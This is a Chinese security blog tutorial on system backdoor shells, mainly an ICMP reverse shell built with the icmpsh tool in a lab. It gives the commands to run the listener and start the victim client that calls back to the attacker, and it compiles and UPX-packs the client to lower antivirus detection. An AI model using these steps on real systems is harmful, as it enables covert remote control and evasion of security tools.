亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

劍走偏鋒:細數Shell那些事

  說到Shell,我想大家恐怕都不會太陌生。不僅如此,我想大家應該有不少自己的珍藏吧(有珍藏的可以私信我,咱們私聊:P)

  按平臺分類的話,基本上大體可以分為兩大類:針對web級別的和針對系統級別的。針對web的大體根據語言不同又分為PHP、JSP、ASP等(這讓我不由得想起了那些年,大牛們寫過的各種后門……),針對系統級別的一般分為:windows后門和基于unix的后門,不過到現在為止我并沒有見過apple后門,大概,是因為我窮吧。

  言歸正傳,今天我要跟大家聊的東西,是針對系統的Shell后門。煩請大牛不要噴我,覺得文章水的可以直接略過不談。

  0×01 我先分個類

  這里我按照協議不同來分類。

  首先,是基于TCP UDP協議的shell

  這類shell已經遍地都是,而且功能也越來越強大,因為基于這兩種協議的木馬通信能力更強。當然樹大易招風,關于這類shell后門也越來越多的受到安全廠商的關注,造成的結果是這類木馬一般都是產業級的進行免殺操作,使用之后被殺毒軟件截獲便失去效用,需要重新做免殺。而這玩意兒略貴。所以一般的個人想玩玩又不懂免殺的根本玩不起。

  其次,是基于ICMP協議的shell

  我們都知道,通信協議無外乎TCP UDP ICMP了,既然前兩種玩不起我們就來看看ICMP怎么樣。

  既然是通信協議嘛,肯定是可以發送數據的,那么我們來看看一個PING究竟發送了什么數據:

  從圖上就可以清晰看出來了。第一張是windows ping的時候發送的數據,第二張圖是linux的ping的時候發送的數據,還是有點差距的,嗯。

  通過以上證據就可以證明ICMP協議通信是可以帶著我們想要的數據飛的,最起碼理論上是可行的。

  然后,是基于DNS解析的shell

  除去三種協議以外,還有一種是基于DNS解析的后門shell。之前我記得有人發過一種劍(wei)走(suo)偏(zhi)鋒(ji)的CMCC(或者Chinanet)的不登陸的上網方式,用的就是DNS;之前還有一個木馬就是用這種方式來傳數據的,那場面,更加猥瑣,簡直不忍直視。。

  這里DNS解析后門自然是有好處的,就是極不容易被察覺,但是自然也有缺點,那就是數據走得慢。這個慢,不是一般的慢,總的說來,你要是想用高級功能比如桌面控制,呵呵,基本不可能,而且實施起來也略微復雜。所以這次我們暫且不講,以后再討論。

  按照協議分完了,我們再按照連接方式分一下

  按照連接方式,分為主動連接和被動連接,主動連接是Bind Shell,被動連接是Reverse Shell,這個我想大家也應該很熟悉了。這里上幾張圖簡要做一下解釋(圖片來源于網絡)

  由攻擊機主動連接受害主機,這種我們叫做Bind Shell,缺點是易被攔截易掉線。

  由被攻擊主機主動連接攻擊機器,這種我們叫做Reverse Shell,是目前主流的Shell使用的類型,缺點是需要攻擊機器有固定的公網IP,優點是不用擔心目標機器的動態IP導致掉線問題。

  但是,不管是Bind Shell還是Reverse Shell,因為基于TCP或者UDP,防火墻很敏感,容易被防火墻攔截,即便是我們的后門已經經過了殺軟的考驗,可能也會在這一輪中折掉,導致我們的后門安插失敗。

  今天我們要跟大家分享的是:ICMP Reverse Shell

  0×02 測試平臺簡介

  首先,我們得挑一個ICMP的通信Shell,當然自己寫也是可以的。平臺的原理是其實還是通信,利用ICMP通信協議,將我們想要執行的shell命令通過服務端傳給客戶端,然后客戶端將執行之后得到的數據通過ICMP包傳回來,服務端負責接收然后回顯。

  這里我們挑取git的一個ICMP Shell項目進行實際操作。

  先把項目取回本地

  git clone https://github.com/inquisb/icmpsh.git /opt/icmp_reverse_shell

  拿下來之后,我們可以看到這里面的文件了。這里面所有的東西都是開源的,方便我們看詳細原理。其實文件中主要起作用的主要是兩個文件,icmpsh_m.py和icmpsh.exe,其中icmpsh_m.py是服務端需要執行的python腳本,icmpsh.exe是客戶端需要執行的腳本。還有一個icmpsh-s.c的slave客戶端的源代碼文件,有興趣的同學可以看一下。除此之外,還有一個run.sh的BASH文件,文件內容大家可以自己看,主要就是如果你忘了配置什么東西他會事先配置好,最終起作用的還是icmpsh_m.py,所以最后服務端我們就用run.sh就好了

  0×03 演練

  說了這么多,下面我們開始玩真的。

  先說服務端:

  運行run.sh

  ./run.sh

  然后我們根據提示輸入IP,這里IP應該是公網IP,但是這里使用的是內網,所以我們輸入C段IP,然后回車,我們就可以看到這樣的提示:

  這樣服務端就配置好了,正在監聽狀態。

  下面是客戶端:

  我們打開靶機的cmd,輸入命令:

  icmpsh.exe -t 192.168.246.129 -d 500 -b 30 -s 128

  攻擊機這邊就成功拿到shell了

  到這里,基本上想做什么就沒問題了。

  Shell中執行的命令已經被執行,但是靶機完全沒反應

  下面是玩耍時間,這個時候靶機ping一下攻擊機,就發現攻擊機收到了靶機的ping的聊騷內容,居然還有“hi”,掩面///…

  使用wireshark截個包看一下,嗯,數據全出來了,好赤果果

  實操就這樣。

  0×04 關于Shell客戶端

  首先一個問題是Shell客戶端的運行平臺問題,很明顯,客戶端是只針對于windows平臺的,Server是跨平臺的。

  然后就是客戶端的來源,當然大家可以使用作者在git上面給出的exe,也可以自己檢查源代碼文件然后自行編譯加殼,編譯的過程如下(這里只說linux的編譯過程):

  首先安裝mingw,這是編譯的關鍵

  sudo apt-get update

  sudo apt-get install gcc-mingw32

  過程中計算機會將其余附加包一起裝好我們就不操心了。

  安裝好之后就是編譯

  i686-w64-mingw32-gcc icmpsh-s.c -o icmp-slave.exe

  然后我們可以用upx加個殼

  upx -v icmp-slave.exe -o icmp-slave-upx.exe

  這樣一個客戶端就成型了,我們可以看出來壓縮率大約在56%左右,壓縮完之后大小56K左右。

  其實除了以上問題之外,我想大家最關心的就應該是殺軟對Shell的反應了吧。細心的小伙伴應該發現了,在上面的圖里,我的靶機是全程運行著360進行的實驗(不是刻意為之,是之前做測試的時候靶機就裝上了,這次沒關),其實不只是360,到目前寫本文章之前,絕大部分殺軟都沒有報毒。當然,這里我說的是我自己生成的客戶端,至于git上自帶的客戶端,國內殺毒軟件還是基本上都檢測出來了。

  可是我可憐的小a啊。。

  至于更全面的測試,我這里貼上virustotal.com的結果:

  首先是關于git上自帶的客戶端,我們發現大多數國內廠商都報毒了,看到這里我表示很欣慰。:)

  然后我再拿我自己生成的加過殼的exe看一下,咦這是什么情況。。。

  然后我們再看看剛編譯出來熱乎的,好像就更奇怪了。。

  看來是殺毒軟件對upx現在是越來越敏感了,加個殼都不饒過。至于其他的奇怪現象。。。咦?飛碟!

  0×05 后記

  寫到這里,ICMP反向Shell介紹也就告一段落了,東西確實不是新東西,技術也沒有多復雜,不過重點在于思路,在于以此為基礎實現的更多更好(wei)玩(suo)的玩法。這次的交流就到這里,有更多更好的更猥瑣的玩法的同學,歡迎聊騷私信。:P

  期待更多的關于技術的交流,我是小花,我喂自己袋鹽。

 

上一篇:智能無懼挑戰 山石網科轟動RSA2015

下一篇:蘋果惡意軟件WireLurker鎖定Mac OS X和iOS設備